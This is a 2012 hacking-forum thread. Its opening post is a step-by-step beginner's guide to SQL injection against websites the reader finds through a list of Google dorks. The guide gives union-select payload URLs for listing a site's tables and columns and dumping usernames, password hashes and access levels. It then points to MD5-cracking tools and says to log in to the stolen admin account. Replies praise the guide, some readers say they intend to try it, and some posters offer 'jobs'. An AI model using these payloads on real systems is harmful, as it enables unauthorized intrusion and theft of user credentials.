

Forum:[Hack Forums](#)

Thread: [?\[TUT\] SQL INJECTION COMPLETE \[TUT\]? \(NOOB FRIENDLY\)](#)

Natalie Portman - February 4, 2012, 5:03 pm

SQL Injection Tutorial

If you are new to the world of hacking websites, then SQL injection is possibly the easiest to learn and most common of the substantial website vulnerabilities that can be exploited.

NOTE: The following tutorial contains only basic SQL injection, if you are already familiar with this, then this tutorial will probably not help you.

Hacking a vulnerable website with SQL injectino (also known as SQLi) allows you to obtain usernames and passwords, possibly even access the admin account, and from there you could do whatever you wanted to the website. When Anonymous//[censored] hacked the Sony Playstaion Network and obtained personal information of hundreds of thousand of users, they used an advanced form of this hack. This hack can be performed from any computer or device with an internet connection and a browser.

Step 1: Find a vulnerable website. One way you can do this is by using what is called a Google Dork.

This is a list of dorks you can use to help you find an SQL vulnerable website, using Google Search! Simply go to Google and enter (without quotes) allinurl:dorkhere

Code trainers.php?id=
article.php?id=
play_old.php?id=
staff.php?id=
games.php?id=
newsDetail.php?id=
product.php?id=
product-item.php?id=
news_view.php?id=
humor.php?id=
humour.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
detail.php?id=
publications.php?id=
releases.php?id=
ray.php?id=
produit.php?id=

pop.php?id=
shopping.php?id=
shop.php?id=
post.php?id=
section.php?id=
theme.php?id=
page.php?id=
ages.php?id=
review.php?id=
announce.php?id=
participant.php?id=
download.php?id=
main.php?id=
profile_view.php?id=
view_faq.php?id=
fellows.php?id=
club.php?id=
clubpage.php?id=
viewphoto.php?id=
curriculum.php?id=
top10.php?id=
article.php?id=
person.php?id=
game.php?id=
art.php?id=
read.php?id=
newsone.php?id=
title.php?id=
home.php?id=

NOTE: The above list of dorks is only a very short list, a more comprehensive list can be found on the internet.

Step 2: When you have found a vulnerable URL that you like, such as

Code `www.site.com/news.php?id=2` add a single quote mark to the end of the URL, so that it looks like this:

Code `www.site.com/news.php?id=2'`

Step 3: The site will be vulnerable to this attack if you get an error, or some of the content (pictures / text are common) from the page is missing.

Step 4: Now that we have confirmed that the site is vulnerable, we will try what is called an order by syntax.

At the end of your URL, remove your quote mark, and add the following: `+order+by+50--`

If you get an error, this is good. If you do not get an error, you should try to find a different site, there are ways to get around this, but they will not be covered in this tutorial.

The idea is to find the highest possible number you can order by without getting an error or missing content. This is the number of tables that the site contains.

For example, if you get an error at 8, but not at 7, it means that the number you will be using is 7. Write this number down. Remember, it is the number without an error, not with.

An example URL is below:

Code `www.site.com/news.php?id=2 order by 8--`

Step 5: Now that we have the number of tables, we will perform what is called a union select syntax.

Remove your order by syntax, making sure to have written down / remembered the number of tables (the highest number without an error or missing content).

Add a negative symbol (a dash) before the ID number.

Now add the following to your URL: union select 1, 2, 3, 4, 5, 6, 7, 8--

This syntax will select the number of tables that you wish to use.

You should count up until the number of tables that the page has.

An example URL is below:

Code `www.site.com/news.php?id=-2 union select 1, 2, 3, 4, 5, 6, 7, 8--`

If you see a couple of numbers on the page, you have done it correctly! Good work! If you see an error resembling "The union select statement does not match the number of tables on the page", then the site resisted the order by syntax. In this case, you should try to find another site, there are again ways to get around this, but this is a basic tutorial.

Step 6: When you see the numbers on the page (they should be numbers between 1 and the number of tables on the site) (there should be 2-6 numbers), choose one of them.

Now, replace the number you chose in your union select syntax with `@@version,user()`. Let's say I choose 2.

An example URL is below:

Code `www.site.com/news.php?id=-2 union select 1, @@version, 3, 4, 5, 6, 7, 8--`

Now the number you chose should be replaced by a string of numbers. This is usually a 4.xx.xxx or a 5.xx.xxx. This is the MySQL version the target is running. This is important for later.

Step 7: Now we will find the names of the different tables in the site. This is called a group concat syntax.

Replace your `@@version` with `group_concat(table_name)` and add from `information_schema.tables` where `table_schema=database()`--

An example URL is below:

Code `www.site.com/news.php?id=-2 union select 1, group_concat(table_name), 3, 4, 5, 6, 7, 8 from information_schema.tables where table_schema=database()`--

Now in place of the MySQL version you should see a string of words, they could contain anything. These are the websites tables. You want to look for one that sounds like the admin or user tables.

Common tables are:

Code admin, user, users, members, admintbl, usertbl

Let's say I found the table "admin" (without quotes)

Now, take the exact name of the table, no additional spaces or linebreaks, and go to <http://home2.paulschou.net/tools/xlate/>.

Enter your table name into the TEXT field, and click encode.

Now from the ASCII DEC / CHAR field, take those numbers, and replace the spaces with comma's, so that it looks like this (for admin! The numbers will be different depending on the table!)

Code 97,100,109,105,110

Step 8: Now we will find the different columns (such as the username, password, email, accesslevel) of the table we selected.

Change your current group concat syntax to the following.

Replace `group_concat(table_name)` with `group_concat(column_name)`, and replace `from information_schema.tables where table_schema=database()--` with `from information_schema.columns where table_name=CHAR(YOUR ASCII HERE)--`

An example URL is below:

Code `www.site.com/news.php?id=-2 union select 1, group_concat(column_name), 3, 4, 5, 6, 7, 8 from information_schema.columns where table_name=CHAR(97,100,109,105,110)--`

Note that the ASCII numbers you input will be different depending on your table name.

Now the table names will be replaced with the columns.

Common columns include:

Code `userid, user, username, password, email, accesslevel, firstname, lastname`

Step 9: What you're looking for is the ones that will give you the information to compromise the site. From the above common columns, the most useful would be username/userid/user (or whatever the user column is called) and password (for obvious reasons). But also we want the accesslevel column, so that we don't have to log in multiple times to find the admin.

Usually the admin's accesslevel will be the highest number, higher than the others. Alternatively, the admin user's username may be "admin" or "superuser" etc.

Now, we need to again change our group_concat syntax.

Let's say I want the columns `userid, password, accesslevel`.

Replace your `group_concat(column_name)` with `group_concat(userid,0x3a,password,0x3a,accesslevel)`. You can replace add more columns if you want, just make sure there is `,0x3a,` between each one.

Replace your `from information_schema.columns where table_name=CHAR(YOUR ASCII)--` with `from TABLE NAME--`

Where TABLE NAME is the table that these columns are from.

An example URL is below:

Code `www.site.com/news.php?id=-2 1, group_concat(userid,0x3a,password,0x3a,accesslevel), 3, 4, 5, 6, 7, 8 from admin--`

Now your list of columns should be replaced with something like the following:

Code `james:shakespeare:0,ryan:mozart:1,admin:bach:2,superadmin:debussy:3`

Or something similar. Remember your current group concat syntax. It will display the data like this, for `userid,0x3a,password,0x3a,accesslevel`:

Code

`USERNAME1:PASSWORD1:ACCESSLEVEL1,USERNAME2:PASSWORD2:ACCESSLEVEL2,USERNAME3:PASSWORD3:ACCESSLEVEL3`, where USERNAME, PASSWORD, and

ACCESSLEVEL of the same number all correspond to the same user.

The 0x3a in your group concat translates to a semicolon (:). A comma separates each individual user.

Often, the password will appear to be a random string of numbers and letters, such as 5f4dcc3b5aa765d61d8327deb882cf99. This is called an MD5 hash. It is an encrypted password.

Step 10: Now we will need to decrypt this password to log in. You can either do this online, or with software. Software is far more effective, as you can set it to an unlimited timelimit and use different methods, but if you don't want to use software due to malware paranoia, that is OK, but sometimes you will not find the password.

If you want to use software, go here: <http://www.oxid.it/cain.html> and download Cain and Abel. I will not go into how to set this up to crack an MD5, but a simple google search will suffice. "Cracking MD5 with Cain and Abel" or something similar.

If you want to use a website, go here (I find this to be the best): <http://www.md5decrypter.co.uk>

Step 11: Login to your newly obtained account (whether its admin or not) and have some fun!

Disclaimer: This tutorial is meant for educational purposes only. Misuse of the techniques above may be in conflict with the laws in your state, province or country. I may not be held responsible for any harm that may come from this tutorial.

Thanks for reading guys! Happy hacking!

I took the time to write this, please take the time to post a reply!

Ajhusshi - February 4, 2012, 5:10 pm

We appreciate the tutorial mate, but there's literally hundreds of topics like this already.

1Time - February 4, 2012, 5:12 pm

I've seen this tutorial like hundreds of times but I appreciate you taking the time to write it in your own words ;).

Natalie Portman - February 5, 2012, 11:02 pm

Well thanks for your support anyway guys!

ifido2020 - February 6, 2012, 12:06 am

Nice effort. Looks so good... Keep it up bro :)

b a e - February 6, 2012, 12:12 am

Legit tutorial, informative. While there may be many others like this, this is still good. Thanks for the effort!

Gechii - February 6, 2012, 1:00 am

Dear sixsixx contact me in PM if you want to get a job.

Skype --> jackyyacht

RIPPER - February 11, 2012, 3:31 am

Thanks for this tutorial bro. Really good one. Helped me a lot

oussamaxx - February 11, 2012, 11:21 am

Nice tut. :D Cant wait to see if it works :D

erypmav - February 12, 2012, 1:53 pm

hey mate why when i go to the part where i should put 'union select' it goes to a blank page?

Natalie Portman - February 13, 2012, 2:36 am

(Feb 12, 2012 02:53 PM)erypmav Wrote: [\[CITE\]](#) hey mate why when i go to the part where i should put 'union select' it goes to a blank page?

Are you sure that you're inputting the injection correctly?

Alternatively, the URL could be sanitizing itself to prevent SQLi, I would recommend checking your SQL syntax, and if that doesn't work, try another site :)

i.o.o.i - February 13, 2012, 6:41 am

Excellent tutorial.iam new to here. i liked this site very much

Albasmy - February 13, 2012, 2:46 pm

Good job. Contact me I have a small job for you.

RatPeanut - February 13, 2012, 5:14 pm

Wow, that's a very comprehensive guide. Really nice work, thankyou.

calypto - February 13, 2012, 5:25 pm

great tutorial, thanks! im going to start using this!

ssenkraD - February 16, 2012, 2:16 pm

very informative good job mate. keep it rokin

kaimoto13 - March 20, 2012, 3:45 am

very nice tutorial, i would like to try this!!!